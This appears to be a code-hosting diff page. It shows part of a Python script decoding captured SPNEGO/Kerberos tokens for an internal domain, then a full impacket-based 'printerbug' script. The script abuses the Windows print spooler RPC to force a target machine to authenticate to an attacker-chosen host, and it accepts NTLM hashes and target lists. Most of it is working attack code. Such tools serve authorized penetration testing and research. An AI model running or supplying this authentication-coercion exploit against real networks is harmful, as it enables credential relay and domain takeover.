data = binascii.unhexlify('60820c3306062b0601050502a0820c2730820c23a030302e06092a864882f71201020206092a864886f712010202060a2b06010401823702021e060a2b06010401823702020aa2820bed04820be960820be506092a864886f71201020201006e820bd430820bd0a003020105a10302010ea20703050020000000a382049f6182049b30820497a003020105a10f1b0d494e5445524e414c2e434f5250a2293027a003020102a120301e1b04636966731b1649434f52502d44432e696e7465726e616c2e636f7270a38204523082044ea003020112a103020104a28204400482043ce3b540556cdf2ce2ac675dc9fa2f6b3112e8209c246636d535926b59f0023eebcd8d4895ce87069097e6e33d0b63331ad64a9e76635f7675c88dfa9a034c761ba0ef45dc2f999f3127ca78100695b9a1bedceab764f2b0d4ede0b4cb46d2d93f6f494706d9a7d107b42eccf0a9c95383a4e20c8171556efacfe55361e65870cdf80b38527e948efcd196a9282e90ffdc5404bd3582c692724e9f0e2970ee242ae8dd0de7e93e7bced8d8ad8915e5cd9b286e9636aa809629579e77bf72f88dc8e669106e2d8fdfbbf37c114ef0706c906ce037d7c0cc3bd10d9c60c30e29994481539b3bbe550aa791394b60f09a844667a016275e00642254083528535563e9ea3ef83d512a30bf2660f17e0222c7ec158e0ca091861c3043f15a109ad31fe30a94bf81012921896068d77dbf7a7fe23bf278ea88d0fb0fddf7bcc3f4adbac47fb6f9b6675fc60ade851ab632a117ecbbdaef31c3ca87c0a54dc74268823114344f356af9b51c3639bafd0c441fc5c6d692939a3b422041e6c769f0cc7f23a023dfc017390cf78843668060eba8c99a2dfa8ad99bff56ccecf95d3a1b70abed1f0ccec41126590abf1ac9d7339f504ea4602f95a1522b341092f68fd3f9c986f6c692b7e070ec36f5a77264cf4a7a34475184da181ea27a937716f1d5728e585c99db2b24053964e3e12bdb13e6946a8737278f2287db7f940e3a279242fb09ffc1b13fb97cf46632848f6012bfd924e7fa20c5f475401487f3eec95be224272125950dcc936c23a5a129349494992b3e59c50b5d3967a61ddfa66d5b71f991c0c0236522a2888494ca5cb98aad8ab15ad4b2968f603364679552b26937968f94b5c2259b96a8e1d562315290119079e4936f21c60fadf203d47ea14f3fd6dc3465479c59f975aea1568826b19edf06d59e97980a24d60fe170267f3ebd76f5005b59ce26c689b80ce3138d5a524fbe5834ec5c01d7c45bfa35e97195be3977661e6354fc65a5a7526cb02e9dbdab037dd0a53ec133f17b2afacfec399a7016ca43552827e7f873fa92f8be943bfb6bcbdc980437d0f7b4e09528b588607c1f1331784f69f6b3d08d494476098f735a5e883fcdafdd96977cb44c4e102ef90957e192ca1d569b1183313f781ec3d0c5d7ee7efee86fd5420f25ad7629152c303e056b4e6f2d2322da275115eeabfefceeba66c42991d596915dff2faaaafc1ab61d4f123eb1905faeb64025fcf4e4189385ab6663b412c40ae88791564e54daa15501b9da7a242b375e766fb150a1ed613e8df49f2938094f8562d20a03d8b8b303d7fa13b55f93c8570159c1f81055daf695f162d567399f9b0314e7dcb60c4780297743e253d743a2ad525352496309561216b33c7e6d62a88257ad3762df2fdf85e799844975504b57ea029cd861431678a86eb46c6768d95cef58161071b4d876fa68cf2e849aa2109d5398c088e495f2b1d5625c53dd128b088929d90ee8d86f087deb40c2690f901b797ae85517de61d2dbb4702a1299bb46a482071630820712a003020112a282070904820705fb5cc82e31c2324ed84253d212f23996e14ce59f1de4aeb3714470259a5b954de39ce4e6d23f274b2b53731c5d52f743068bd1bab5460ee3e3e0fc365f7f30ebcc910acf5a3a85d4f2c6fee282d24aeb23493aad26459671c2d137010ab000097ec6a4efe7ecce07e8f9a7a003b3f34d531550aea830b5bff9a9437236850b21fe557cd2a475437cc7a01370d7aeb8dafcfefde76d2402023f4dad87709ff165502682b204f781f680a0f750cf6d5d9be6b99a67b9d7b48bd07996dfc2fd002235aa76a26a6a5a46238dce42d0446681da4ef43f066842af41429799b8239bc461cbfae5282b0f2a15c6d86c1ab1998a30b43ff02cc769a0591d266a0901d5236087d0b032bb94468270e3dde4c9027e24f6e6c9f328d885abf248b7444c9c11d14194f2f481998d4daef19060ea2f48e3c2d8467a30c982dda092bccc6287275848389759c87b012d1ef0600ca9fcf04686333960ea91e9c17ae4b881e7385d96a3d9132cfb67feddcac3166790ed4855589a514c2acd181adda62dcbb79be3995d8e3ce6728d28d5b4dc0d6ab8635046ed8544a277d74de2f17ad6ae7c527e8eba35ef7c33fea2dc1803de72f14429403594876684184cd4c4bed11e937e004685badaf71c308e830fadb2893c3c591e116192c61bff09f4ecbf3a8ce9d762eff48ca9fd36f35e928e27e7141d13d4d21173e9a9aa74580ada1042831cac2b1ba15b4092afc8229fc237b710804ac9c633db4d88c2bb2209f640c4efa895f7cc05fb6d567644073173b8c63e16b54bb0bb78585a5f9982001943d0b25b65804ef184d80bd1fe851cdcf0800c34d41415904577f6cee1041157b6d02dff7079ec42fef1e1bbfecfe3e2f533ad69262523519dada1b4fbe9c2250c2f4a4ac2a6013fef8aa71df1bae566ebcbec8ee2ea5b443f7581ac052f709541e77a3c9a22d507c5601702ea30b7461fcd38b08df193ba7cf3549e94bf336f35fe19d97e129059e5e34e4b2a8596e4e7f6200c704c51b6c7273d2d320811cbc16657e5eb1116f05d281c1277f18d4cce278ff2ef7deceb423274be8209d363d1584e305f8578e628e7fdc65a881979d6202cd068319594e975d52078eee0bc047ddc999b5e3da70ae6617459d6d412b4554e6f23d38b80de12f7da8a9c0084f6048c8f58d44a4364136c80fd45afec5ac9275ac1b74814202ae314f4347c5f396aa7979c46ae8003d6aad7120f8359043f2d94de6126db41d71006ca32fe45f885fd7dc238e2936dd98a416b8b2820cf706b9e11e974517f92f2d313976ec38fea665963d065a9b8e75d3854cdd1a1e19419c77d6c3b8b8f96f05b62088112f53b441ff0e172dce8fe2712fbec144de7d47fc9038f83f7eb2242f8fd201c5f24abdc98d310d86987550b581a4362706221d2fae2ac8a65427ea2cfa02509093055dcd41b33e74ec4a5d77b42e12035f6e3a340bfd81a31316f432e88bd917807993400321a3db2d6d782ead9f8bfa8acaed50e8f2938c50db7019a33f6c9861f6d65ff10d7e06021f4ec0618d0644753860a5d0ce534c38c7c35c4e9632d5170cb30e7642289a4cc272eb7dbfdbe71a594a733c4bd10371878c5be231e23195473a23dad685bcdLine truncated
|
||||
out = decoder.decode(data, asn1Spec=GSSAPIHeader_SPNEGO_Init())
|
||||
print str(out[0])
|
||||
# out[0].prettyPrint()
|
||||
data2 = out[0]['innerContextToken']['negTokenInit']['mechToken']
|
||||
# data2 = binascii.unhexlify('60820be506092a864886f71201020201006e820bd430820bd0a003020105a10302010ea20703050020000000a382049f6182049b30820497a003020105a10f1b0d494e5445524e414c2e434f5250a2293027a003020102a120301e1b04636966731b1649434f52502d44432e696e7465726e616c2e636f7270a38204523082044ea003020112a103020104a28204400482043ce3b540556cdf2ce2ac675dc9fa2f6b3112e8209c246636d535926b59f0023eebcd8d4895ce87069097e6e33d0b63331ad64a9e76635f7675c88dfa9a034c761ba0ef45dc2f999f3127ca78100695b9a1bedceab764f2b0d4ede0b4cb46d2d93f6f494706d9a7d107b42eccf0a9c95383a4e20c8171556efacfe55361e65870cdf80b38527e948efcd196a9282e90ffdc5404bd3582c692724e9f0e2970ee242ae8dd0de7e93e7bced8d8ad8915e5cd9b286e9636aa809629579e77bf72f88dc8e669106e2d8fdfbbf37c114ef0706c906ce037d7c0cc3bd10d9c60c30e29994481539b3bbe550aa791394b60f09a844667a016275e00642254083528535563e9ea3ef83d512a30bf2660f17e0222c7ec158e0ca091861c3043f15a109ad31fe30a94bf81012921896068d77dbf7a7fe23bf278ea88d0fb0fddf7bcc3f4adbac47fb6f9b6675fc60ade851ab632a117ecbbdaef31c3ca87c0a54dc74268823114344f356af9b51c3639bafd0c441fc5c6d692939a3b422041e6c769f0cc7f23a023dfc017390cf78843668060eba8c99a2dfa8ad99bff56ccecf95d3a1b70abed1f0ccec41126590abf1ac9d7339f504ea4602f95a1522b341092f68fd3f9c986f6c692b7e070ec36f5a77264cf4a7a34475184da181ea27a937716f1d5728e585c99db2b24053964e3e12bdb13e6946a8737278f2287db7f940e3a279242fb09ffc1b13fb97cf46632848f6012bfd924e7fa20c5f475401487f3eec95be224272125950dcc936c23a5a129349494992b3e59c50b5d3967a61ddfa66d5b71f991c0c0236522a2888494ca5cb98aad8ab15ad4b2968f603364679552b26937968f94b5c2259b96a8e1d562315290119079e4936f21c60fadf203d47ea14f3fd6dc3465479c59f975aea1568826b19edf06d59e97980a24d60fe170267f3ebd76f5005b59ce26c689b80ce3138d5a524fbe5834ec5c01d7c45bfa35e97195be3977661e6354fc65a5a7526cb02e9dbdab037dd0a53ec133f17b2afacfec399a7016ca43552827e7f873fa92f8be943bfb6bcbdc980437d0f7b4e09528b588607c1f1331784f69f6b3d08d494476098f735a5e883fcdafdd96977cb44c4e102ef90957e192ca1d569b1183313f781ec3d0c5d7ee7efee86fd5420f25ad7629152c303e056b4e6f2d2322da275115eeabfefceeba66c42991d596915dff2faaaafc1ab61d4f123eb1905faeb64025fcf4e4189385ab6663b412c40ae88791564e54daa15501b9da7a242b375e766fb150a1ed613e8df49f2938094f8562d20a03d8b8b303d7fa13b55f93c8570159c1f81055daf695f162d567399f9b0314e7dcb60c4780297743e253d743a2ad525352496309561216b33c7e6d62a88257ad3762df2fdf85e799844975504b57ea029cd861431678a86eb46c6768d95cef58161071b4d876fa68cf2e849aa2109d5398c088e495f2b1d5625c53dd128b088929d90ee8d86f087deb40c2690f901b797ae85517de61d2dbb4702a1299bb46a482071630820712a003020112a282070904820705fb5cc82e31c2324ed84253d212f23996e14ce59f1de4aeb3714470259a5b954de39ce4e6d23f274b2b53731c5d52f743068bd1bab5460ee3e3e0fc365f7f30ebcc910acf5a3a85d4f2c6fee282d24aeb23493aad26459671c2d137010ab000097ec6a4efe7ecce07e8f9a7a003b3f34d531550aea830b5bff9a9437236850b21fe557cd2a475437cc7a01370d7aeb8dafcfefde76d2402023f4dad87709ff165502682b204f781f680a0f750cf6d5d9be6b99a67b9d7b48bd07996dfc2fd002235aa76a26a6a5a46238dce42d0446681da4ef43f066842af41429799b8239bc461cbfae5282b0f2a15c6d86c1ab1998a30b43ff02cc769a0591d266a0901d5236087d0b032bb94468270e3dde4c9027e24f6e6c9f328d885abf248b7444c9c11d14194f2f481998d4daef19060ea2f48e3c2d8467a30c982dda092bccc6287275848389759c87b012d1ef0600ca9fcf04686333960ea91e9c17ae4b881e7385d96a3d9132cfb67feddcac3166790ed4855589a514c2acd181adda62dcbb79be3995d8e3ce6728d28d5b4dc0d6ab8635046ed8544a277d74de2f17ad6ae7c527e8eba35ef7c33fea2dc1803de72f14429403594876684184cd4c4bed11e937e004685badaf71c308e830fadb2893c3c591e116192c61bff09f4ecbf3a8ce9d762eff48ca9fd36f35e928e27e7141d13d4d21173e9a9aa74580ada1042831cac2b1ba15b4092afc8229fc237b710804ac9c633db4d88c2bb2209f640c4efa895f7cc05fb6d567644073173b8c63e16b54bb0bb78585a5f9982001943d0b25b65804ef184d80bd1fe851cdcf0800c34d41415904577f6cee1041157b6d02dff7079ec42fef1e1bbfecfe3e2f533ad69262523519dada1b4fbe9c2250c2f4a4ac2a6013fef8aa71df1bae566ebcbec8ee2ea5b443f7581ac052f709541e77a3c9a22d507c5601702ea30b7461fcd38b08df193ba7cf3549e94bf336f35fe19d97e129059e5e34e4b2a8596e4e7f6200c704c51b6c7273d2d320811cbc16657e5eb1116f05d281c1277f18d4cce278ff2ef7deceb423274be8209d363d1584e305f8578e628e7fdc65a881979d6202cd068319594e975d52078eee0bc047ddc999b5e3da70ae6617459d6d412b4554e6f23d38b80de12f7da8a9c0084f6048c8f58d44a4364136c80fd45afec5ac9275ac1b74814202ae314f4347c5f396aa7979c46ae8003d6aad7120f8359043f2d94de6126db41d71006ca32fe45f885fd7dc238e2936dd98a416b8b2820cf706b9e11e974517f92f2d313976ec38fea665963d065a9b8e75d3854cdd1a1e19419c77d6c3b8b8f96f05b62088112f53b441ff0e172dce8fe2712fbec144de7d47fc9038f83f7eb2242f8fd201c5f24abdc98d310d86987550b581a4362706221d2fae2ac8a65427ea2cfa02509093055dcd41b33e74ec4a5d77b42e12035f6e3a340bfd81a31316f432e88bd917807993400321a3db2d6d782ead9f8bfa8acaed50e8f2938c50db7019a33f6c9861f6d65ff10d7e06021f4ec0618d0644753860a5d0ce534c38c7c35c4e9632d5170cb30e7642289a4cc272eb7dbfdbe71a594a733c4bd10371878c5be231e23195473a23dad685bcd77b9aea3305e489eac339587a1d217450958fcf9e012855e693aedee68247b7d08383eef5317f27c063b8e8d5596f11e67615be8ab14ed7e04ebe9de3deb36a5b25e23f3969121be8a5225cc0Line truncated
|
||||
out = decoder.decode(data2, asn1Spec=GSSAPIHeader_KRB5_AP_REQ())
|
||||
print str(out[0])
|
||||
data3 = binascii.unhexlify('a181b53081b2a0030a0100a10b06092a864882f712010202a2819d04819a60819706092a864886f71201020202006f8187308184a003020105a10302010fa2783076a003020112a26f046d18b99d89dbfbd4bdf1d01f0e224436fee8f37091ca22382412f78e87f714763509a9a8135ead7a959ef013d0f877c7e6f48028902322925e9586bd060fd9f8dd012fa06d808a0e4c2ec8a876abbffba73ce4a90e6d5f20b2e737c8fc59df18f5f8cf8a7db0e48745cbe86e1fef')
|
||||
out = decoder.decode(data3, asn1Spec=NegotiationToken())
|
||||
print str(out[0])
|
||||
data4 = out[0]['negTokenResp']['responseToken']
|
||||
# debug.setLogger(debug.Debug('all'))
|
||||
|
||||
out = decoder.decode(data4, asn1Spec=GSSAPIHeader_KRB5_AP_REP())
|
||||
print str(out[0])
|
||||
data5 = binascii.unhexlify('607606062b0601050502a06c306aa03c303a060a2b06010401823702021e06092a864882f71201020206092a864886f712010202060a2a864886f71201020203060a2b06010401823702020aa32a3028a0261b246e6f745f646566696e65645f696e5f5246433431373840706c656173655f69676e6f7265')
|
||||
out = decoder.decode(data5, asn1Spec=GSSAPIHeader_SPNEGO_Init2())
|
||||
print str(out[0])
|
||||
|
||||
print str(out[0])
|
||||
|
||||
nt = NegotiationToken()
|
||||
nt['negTokenResp']['negResult'] = 'request_mic'
|
||||
nt['negTokenResp']['supportedMech'] = TypesMech['KRB5 - Kerberos 5']
|
||||
print binascii.hexlify(encoder.encode(nt))
|
||||
data6 = binascii.unhexlify('a1153013a0030a0103a10c060a2b06010401823702020a')
|
||||
out = decoder.decode(data6, asn1Spec=NegotiationToken())
|
||||
print str(out[0])
|
||||
# Process command-line arguments.
|
||||
if __name__ == '__main__':
|
||||
test()
|
||||
+198
@@ -0,0 +1,198 @@
|
||||
#!/usr/bin/env python
|
||||
####################
|
||||
#
|
||||
# Copyright (c) 2019 Dirk-jan Mollema (@_dirkjan)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
# of this software and associated documentation files (the "Software"), to deal
|
||||
# in the Software without restriction, including without limitation the rights
|
||||
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
# copies of the Software, and to permit persons to whom the Software is
|
||||
# furnished to do so, subject to the following conditions:
|
||||
#
|
||||
# The above copyright notice and this permission notice shall be included in all
|
||||
# copies or substantial portions of the Software.
|
||||
#
|
||||
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
# SOFTWARE.
|
||||
#
|
||||
# Triggers RPC call using SpoolService bug
|
||||
# Credit for original POC goes to @tifkin_
|
||||
#
|
||||
# Author:
|
||||
# Dirk-jan Mollema (@_dirkjan)
|
||||
#
|
||||
####################
|
||||
import sys
|
||||
import logging
|
||||
import argparse
|
||||
import codecs
|
||||
|
||||
from impacket.examples.logger import ImpacketFormatter
|
||||
from impacket import version
|
||||
from impacket.dcerpc.v5 import transport, rprn
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
|
||||
class PrinterBug(object):
|
||||
KNOWN_PROTOCOLS = {
|
||||
139: {'bindstr': r'ncacn_np:%s[\pipe\spoolss]', 'set_host': True},
|
||||
445: {'bindstr': r'ncacn_np:%s[\pipe\spoolss]', 'set_host': True},
|
||||
}
|
||||
|
||||
def __init__(self, username='', password='', domain='', port=None,
|
||||
hashes=None, attackerhost=''):
|
||||
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__port = port
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__attackerhost = attackerhost
|
||||
if hashes is not None:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
|
||||
def dump(self, remote_host):
|
||||
|
||||
logging.info('Attempting to trigger authentication via rprn RPC at %s', remote_host)
|
||||
|
||||
stringbinding = self.KNOWN_PROTOCOLS[self.__port]['bindstr'] % remote_host
|
||||
# logging.info('StringBinding %s'%stringbinding)
|
||||
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
rpctransport.set_dport(self.__port)
|
||||
|
||||
if self.KNOWN_PROTOCOLS[self.__port]['set_host']:
|
||||
rpctransport.setRemoteHost(remote_host)
|
||||
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
|
||||
try:
|
||||
self.lookup(rpctransport, remote_host)
|
||||
except Exception, e:
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
import traceback
|
||||
traceback.print_exc()
|
||||
logging.critical(str(e))
|
||||
raise
|
||||
|
||||
def lookup(self, rpctransport, host):
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(rprn.MSRPC_UUID_RPRN)
|
||||
logging.info('Bind OK')
|
||||
try:
|
||||
resp = rprn.hRpcOpenPrinter(dce, '\\\\%s\x00' % host)
|
||||
except Exception, e:
|
||||
if str(e).find('Broken pipe') >= 0:
|
||||
# The connection timed-out. Let's try to bring it back next round
|
||||
logging.error('Connection failed - skipping host!')
|
||||
return
|
||||
elif str(e).upper().find('ACCESS_DENIED'):
|
||||
# We're not admin, bye
|
||||
logging.error('Access denied - RPC call was denied')
|
||||
dce.disconnect()
|
||||
return
|
||||
else:
|
||||
raise
|
||||
logging.info('Got handle')
|
||||
|
||||
request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
|
||||
request['hPrinter'] = resp['pHandle']
|
||||
request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB
|
||||
request['pszLocalMachine'] = '\\\\%s\x00' % self.__attackerhost
|
||||
request['pOptions'] = NULL
|
||||
try:
|
||||
resp = dce.request(request)
|
||||
except Exception as e:
|
||||
print(e)
|
||||
logging.info('Triggered RPC backconnect, this may or may not have worked')
|
||||
|
||||
dce.disconnect()
|
||||
|
||||
return None
|
||||
|
||||
|
||||
# Process command-line arguments.
|
||||
def main():
|
||||
# Init the example's logger theme
|
||||
handler = logging.StreamHandler(sys.stderr)
|
||||
handler.setFormatter(ImpacketFormatter())
|
||||
logging.getLogger().addHandler(handler)
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
# Explicitly changing the stdout encoding format
|
||||
if sys.stdout.encoding is None:
|
||||
# Output is redirected to a file
|
||||
sys.stdout = codecs.getwriter('utf8')(sys.stdout)
|
||||
logging.info(version.BANNER)
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
|
||||
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
|
||||
parser.add_argument('attackerhost', action='store', help='hostname to connect to')
|
||||
|
||||
group = parser.add_argument_group('connection')
|
||||
|
||||
group.add_argument('-target-file',
|
||||
action='store',
|
||||
metavar="file",
|
||||
help='Use the targets in the specified file instead of the one on'\
|
||||
' the command line (you must still specify something as target name)')
|
||||
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
|
||||
help='Destination port to connect to SMB Server')
|
||||
|
||||
group = parser.add_argument_group('authentication')
|
||||
|
||||
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful when proxying through ntlmrelayx)')
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
import re
|
||||
|
||||
domain, username, password, remote_name = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
|
||||
options.target).groups('')
|
||||
|
||||
#In case the password contains '@'
|
||||
if '@' in remote_name:
|
||||
password = password + '@' + remote_name.rpartition('@')[0]
|
||||
remote_name = remote_name.rpartition('@')[2]
|
||||
|
||||
if domain is None:
|
||||
domain = ''
|
||||
|
||||
if password == '' and username != '' and options.hashes is None and options.no_pass is False:
|
||||
from getpass import getpass
|
||||
password = getpass("Password:")
|
||||
|
||||
remote_names = []
|
||||
if options.target_file is not None:
|
||||
with open(options.target_file, 'r') as inf:
|
||||
for line in inf:
|
||||
remote_names.append(line.strip())
|
||||
else:
|
||||
remote_names.append(remote_name)
|
||||
|
||||
lookup = PrinterBug(username, password, domain, int(options.port), options.hashes, options.attackerhost)
|
||||
for remote_name in remote_names:
|
||||
|
||||
try:
|
||||
lookup.dump(remote_name)
|
||||
except KeyboardInterrupt:
|
||||
break
|
||||
# except:
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
Reference in new issue
Block a user